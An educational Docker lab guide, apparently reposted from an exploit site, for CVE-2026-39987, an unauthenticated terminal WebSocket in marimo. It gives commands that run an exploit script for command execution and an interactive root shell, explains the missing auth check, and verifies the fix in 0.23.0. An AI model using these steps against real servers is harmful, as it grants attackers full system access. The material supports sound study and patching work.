## https://sploitus.com/exploit?id=ADD6C51D-B871-5385-B429-4F2F3FD6DB7C
# CVE-2026-39987 Lab Guide
> **Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass**
>
> An educational Docker lab for understanding, reproducing, and patching this critical vulnerability in marimo.
---
## Table of Contents
- [Overview](#overview)
- [Architecture](#architecture)
- [Quick Start](#quick-start)
- [Step-by-Step Walkthrough](#step-by-step-walkthrough)
- [Step 1: Build & Start the Lab](#step-1-build--start-the-lab)
- [Step 2: Confirm Authentication is Active](#step-2-confirm-authentication-is-active)
- [Step 3: Run the Exploit](#step-3-run-the-exploit)
- [Step 4: Understand the Bypass](#step-4-understand-the-bypass)
- [Step 5: Patch Verification](#step-5-patch-verification)
- [Troubleshooting](#troubleshooting)
- [Cleanup](#cleanup)
- [References](#references)
---
## Overview
| | |
|:---|:---|
| **Target** | marimo `= 0.23.0` |
> β οΈ **Ethical Use Only**: This lab is designed for security researchers, developers, and students to understand how authentication bypass vulnerabilities occur and how to properly fix them. Run only in isolated environments.
---
## Architecture
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Docker Network β
β (cve-lab) β
β β
β ββββββββββββββββββββββββ ββββββββββββββββββββββββ β
β β marimo-vulnerable β β marimo-attacker β β
β β (Target) β β (Attacker) β β
β β Port: 2718 β β Python 3.12 β β
β β Auth: Token ββββββββ exploit.py β β
β β marimo: 0.20.4 β β β β
β ββββββββββββββββββββββββ ββββββββββββββββββββββββ β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
**Files in this lab:**
| File | Purpose |
|------|---------|
| `Dockerfile.target` | Builds the vulnerable marimo server |
| `docker-compose.yml` | Orchestrates target and attacker containers |
| `exploit.py` | PoC exploit script (single command + interactive mode) |
| `LAB_GUIDE.md` | This guide |
---
## Quick Start
```bash
# Clone the repo
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Start the lab
docker-compose up --build -d
# Run the exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Get an interactive shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```
---
## Step-by-Step Walkthrough
### Step 1: Build & Start the Lab
```bash
# Create a working directory and place these files inside:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Build and start the target
docker-compose up --build -d
# Verify the target is running
docker ps
# You should see: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
```
**What happens:**
- Docker builds a container with marimo `0.20.4` (vulnerable version)
- The server starts in `edit` mode with `--token` authentication explicitly enabled
- Port `2718` is exposed to your host
---
### Step 2: Confirm Authentication is Active
Before exploiting, let's verify the target is properly protected on legitimate endpoints:
```bash
# Try to open the main UI in a browser or via curl
curl -s http://127.0.0.1:2718/
# Expected: Redirect to login page or 401/403 (token required)
# Try the main WebSocket (/ws) without a token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Expected: Connection rejected or closed immediately due to missing auth
```
> **Key Observation:** The main application endpoints correctly enforce authentication. The vulnerability lies in a secondary endpoint that was overlooked.
---
### Step 3: Run the Exploit
#### Option A β Single command execution
```bash
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
```
**Expected output:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
```
#### Option B β Interactive shell
```bash
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```
You will get a `$` prompt where you can run arbitrary system commands:
```
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
```
---
### Step 4: Understand the Bypass
#### Why does this work?
The vulnerability exists because of an **inconsistent authentication check** across WebSocket endpoints:
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Authentication Middleware (Starlette) β
β βββ Marks unauthenticated connections as "UnauthenticatedUser" β
β βββ Does NOT automatically close WebSocket connections β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββββββ΄ββββββββββββββββ
βΌ βΌ
ββββββββββββββββββββ ββββββββββββββββββββ
β /ws (Main) β β /terminal/ws β
β β β (Terminal) β
β β validate_auth()β β β NO auth check β
β β @requires("edit")β β β SessionMode.EDITβ
β β β β supports_terminal()β
β Rejects unauth β β β Accepts immediatelyβ
ββββββββββββββββββββ ββββββββββββββββββββ
```
#### Root Cause Breakdown
1. **Authentication middleware** (`Starlette AuthenticationMiddleware`) marks unauthenticated connections as `UnauthenticatedUser` but does **not** close WebSocket connections automatically.
2. **Correct endpoints** (e.g., `/ws`) call `validate_auth()` or use `@requires("edit")`, rejecting unauthenticated clients.
3. **Vulnerable endpoint** (`/terminal/ws`) only checks:
- `SessionMode.EDIT` β ensures the server is in edit mode
- `supports_terminal()` β ensures terminal feature is available
- ...then immediately calls `await websocket.accept()` **without** any auth check.
4. **Impact:** `pty.fork()` spawns a full PTY shell running as the server user (root in the default Docker image), giving the attacker complete system access.
#### The Fix (marimo >= 0.23.0)
The patch adds proper authentication validation to the `/terminal/ws` endpoint, ensuring it matches the security posture of other endpoints.
---
### Step 5: Patch Verification
Upgrade the target to the patched version and re-run the exploit to confirm the fix:
```bash
# Edit Dockerfile.target: change marimo==0.20.4 to marimo==0.23.0
# Or use: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Try the exploit again
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
```
**Expected after patch:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
```
The connection is now rejected/closed immediately; no shell is obtained. β
---
## Troubleshooting
| Issue | Solution |
|-------|----------|
| `Connection refused` | Ensure the container is running: `docker ps` and check logs with `docker logs marimo-vulnerable` |
| `ModuleNotFoundError: No module named 'websocket'` | Install the client: `pip install websocket-client` |
| No output from exploit | Increase timeout: `python exploit.py ... --timeout 20` |
| Container exits immediately | Check Dockerfile syntax and ensure `test.py` notebook is created properly |
| Permission denied | Ensure Docker daemon is running and you have proper permissions |
---
## Cleanup
```bash
# Stop and remove containers
docker-compose down -v
# Remove the built image
docker rmi cve-lab_target
# Clean up any dangling images
docker image prune -f
```
---
## References
- **GitHub Security Advisory:** https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- **Patch PR:** https://github.com/marimo-team/marimo/pull/9098
- **CVE Record:** https://cveawg.mitre.org/api/cve/CVE-2026-39987
- **marimo Documentation:** https://docs.marimo.io
---
**Built for educational purposes. Use responsibly.** π